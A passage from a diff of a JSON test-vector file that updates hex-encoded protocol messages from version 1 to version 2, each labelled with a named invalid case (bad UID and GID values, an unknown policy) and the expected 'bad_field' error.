61636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a36353533352c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-gid-nobody", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a36353533342c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a36353533342c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-gid-equals-a-tool-uid", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32303030312c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32303030312c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-uid-above-65535", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a36353533362c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a36353533362c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-gid-equals-a-runtime-uid", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32303030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32303030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-policy-unknown", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22796f6c6f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2